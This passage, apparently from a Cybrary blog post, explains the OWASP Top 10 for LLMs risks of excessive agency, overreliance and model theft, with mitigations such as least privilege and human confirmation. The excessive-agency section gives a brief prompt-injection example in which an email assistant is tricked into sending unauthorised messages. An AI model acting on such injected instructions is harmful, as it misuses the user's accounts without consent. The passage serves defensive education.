  3. Access Control: Follow the principle of least privilege, limiting each plugin's permissions to only what is necessary. Implement OAuth2 or API keys to control access and ensure only authorized users or components can trigger sensitive actions.
  4. Manual Authorization for Sensitive Actions: For actions that could impact user security, such as transferring files or accessing private repositories, require explicit user confirmation.
  5. Adhere to OWASP API Security Guidelines: Since plugins often function as REST APIs, apply best practices from the OWASP API Security Top 10. This includes securing endpoints and applying rate limiting to mitigate potential abuse.

LLM08: Excessive Agency

Excessive Agency in LLM-based applications arises when models are granted too much autonomy or functionality, allowing them to perform actions beyond their intended scope. This vulnerability occurs when an LLM agent has access to functions that are unnecessary for its purpose or operates with excessive permissions, such as being able to modify or delete records instead of only reading them. Unlike Insecure Output Handling, which deals with the lack of validation on the model’s outputs, Excessive Agency pertains to the risks involved when an LLM takes actions without proper authorization, potentially leading to confidentiality, integrity, and availability issues.

As an example, there could be an LLM-based assistant that is given access to a user's email account to summarize incoming messages. If the plugin that is used to read emails also has permissions to send messages, a malicious prompt injection could trick the LLM into sending unauthorized emails (or spam) from the user's account.

How to prevent Excessive Agency:

  1. Restrict Plugin Functionality: Ensure plugins and tools only provide necessary functions. For example, if a plugin is used to read emails, it should not include capabilities to delete or send emails.
  2. Limit Permissions: Follow the principle of least privilege by restricting plugins’ access to external systems. For instance, a plugin for database access should be read-only if writing or modifying data is not required.
  3. Avoid Open-Ended Functions: Avoid functions like “run shell command” or “fetch URL” that provide broad system access. Instead, use plugins that perform specific, controlled tasks.
  4. User Authorization and Scope Tracking: Require plugins to execute actions within the context of a specific user's permissions. For example, using OAuth with limited scopes helps ensure actions align with the user’s access level.
  5. Human-in-the-Loop Control: Require user confirmation for high-impact actions. For instance, a plugin that posts to social media should require the user to review and approve the content before it is published.
  6. Authorization in Downstream Systems: Implement authorization checks in downstream systems that validate each request against security policies. This prevents the LLM from making unauthorized changes directly.

LLM09: Overreliance

Overreliance occurs when users or systems trust the outputs of a LLM without proper oversight or verification. While LLMs can generate creative and informative content, they are prone to “hallucinations” (producing false or misleading information) or providing authoritative-sounding but incorrect outputs. Overreliance on these models can result in security risks, misinformation, miscommunication, and even legal issues, especially if LLM-generated content is used without validation. This vulnerability becomes especially dangerous in cases where LLMs suggest insecure coding practices or flawed recommendations.

As an example, there could be a development team using an LLM to expedite the coding process. The LLM suggests an insecure code library, and the team, trusting the LLM, incorporates it into their software without review. This introduces a serious vulnerability. As another example, a news organization might use an LLM to generate articles, but if they don’t validate the information, it could lead to the spread of disinformation.

How to prevent Overreliance:

  1. Regular Monitoring and Review: Implement processes to review LLM outputs regularly. Use techniques like self-consistency checks or voting mechanisms to compare multiple model responses and filter out inconsistencies.
  2. Cross-Verification: Compare the LLM’s output with reliable, trusted sources to ensure the information’s accuracy. This step is crucial, especially in fields where factual accuracy is imperative.
  3. Fine-Tuning and Prompt Engineering: Fine-tune models for specific tasks or domains to reduce hallucinations. Techniques like parameter-efficient tuning (PET) and chain-of-thought prompting can help improve the quality of LLM outputs.
  4. Automated Validation: Use automated validation tools to cross-check generated outputs against known facts or data, adding an extra layer of security.
  5. Risk Communication: Clearly communicate the limitations of LLMs to users, highlighting the potential for errors. Transparent disclaimers can help manage user expectations and encourage cautious use of LLM outputs.
  6. Secure Coding Practices: For development environments, establish guidelines to prevent the integration of potentially insecure code. Avoid relying solely on LLM-generated code without thorough review.

LLM10: Model Theft

Model Theft refers to the unauthorized access, extraction, or replication of proprietary LLMs by malicious actors. These models, containing valuable intellectual property, are at risk of exfiltration, which can lead to significant economic and reputational loss, erosion of competitive advantage, and unauthorized access to sensitive information encoded within the model. Attackers may steal models directly from company infrastructure or replicate them by querying APIs to build shadow models that mimic the original. As LLMs become more prevalent, safeguarding their confidentiality and integrity is crucial.

As an example, an attacker could exploit a misconfiguration in a company’s network security settings, gaining access to their LLM model repository. Once inside, the attacker could exfiltrate the proprietary model and use it to build a competing service. Alternatively, an insider may leak model artifacts, allowing adversaries to launch gray box adversarial attacks or fine-tune their own models with stolen data.

How to prevent Model Theft:

  1. Access Controls and Authentication: Use Role-Based Access Control (RBAC) and enforce strong authentication mechanisms to limit unauthorized access to LLM repositories and training environments. Adhere to the principle of least privilege for all user accounts.
  2. Supplier and Dependency Management: Monitor and verify the security of suppliers and dependencies to reduce the risk of supply chain attacks, ensuring that third-party components are secure.
  3. Centralized Model Inventory: Maintain a central ML Model Registry with access controls, logging, and authentication for all production models. This can aid in governance, compliance, and prompt detection of unauthorized activities.
  4. Network Restrictions: Limit LLM access to internal services, APIs, and network resources. This reduces the attack surface for side-channel attacks or unauthorized model access.
  5. Continuous Monitoring and Logging: Regularly monitor access logs for unusual activity and promptly address any unauthorized access. Automated governance workflows can also help streamline access and deployment controls.
  6. Adversarial Robustness: Implement adversarial robustness training to help detect extraction queries and defend against side-channel attacks. Rate-limit API calls to further protect against data exfiltration.
  7. Watermarking Techniques: Embed unique watermarks within the model to track unauthorized copies or detect theft during the model’s lifecycle.

Wrapping it all up

As LLMs continue to grow in capability and integration across industries, their security risks must be managed with the same vigilance as any other critical system. From Prompt Injection to Model Theft, the vulnerabilities outlined in the OWASP Top 10 for LLMs highlight the unique challenges posed by these models, particularly when they are granted excessive agency or have access to sensitive data. Addressing these risks requires a multifaceted approach involving strict access controls, robust validation processes, continuous monitoring, and proactive governance.

For technical leadership, this means ensuring that development and operational teams implement best practices across the LLM lifecycle starting from securing training data to ensuring safe interaction between LLMs and external systems through plugins and APIs. Prioritizing security frameworks such as the OWASP ASVS, adopting MLOps best practices, and maintaining vigilance over supply chains and insider threats are key steps to safeguarding LLM deployments. Ultimately, strong leadership that emphasizes security-first practices will protect both intellectual property and organizational integrity, while fostering trust in the use of AI technologies.

Start learning with Cybrary

Create a free account

Related Posts

All Blogs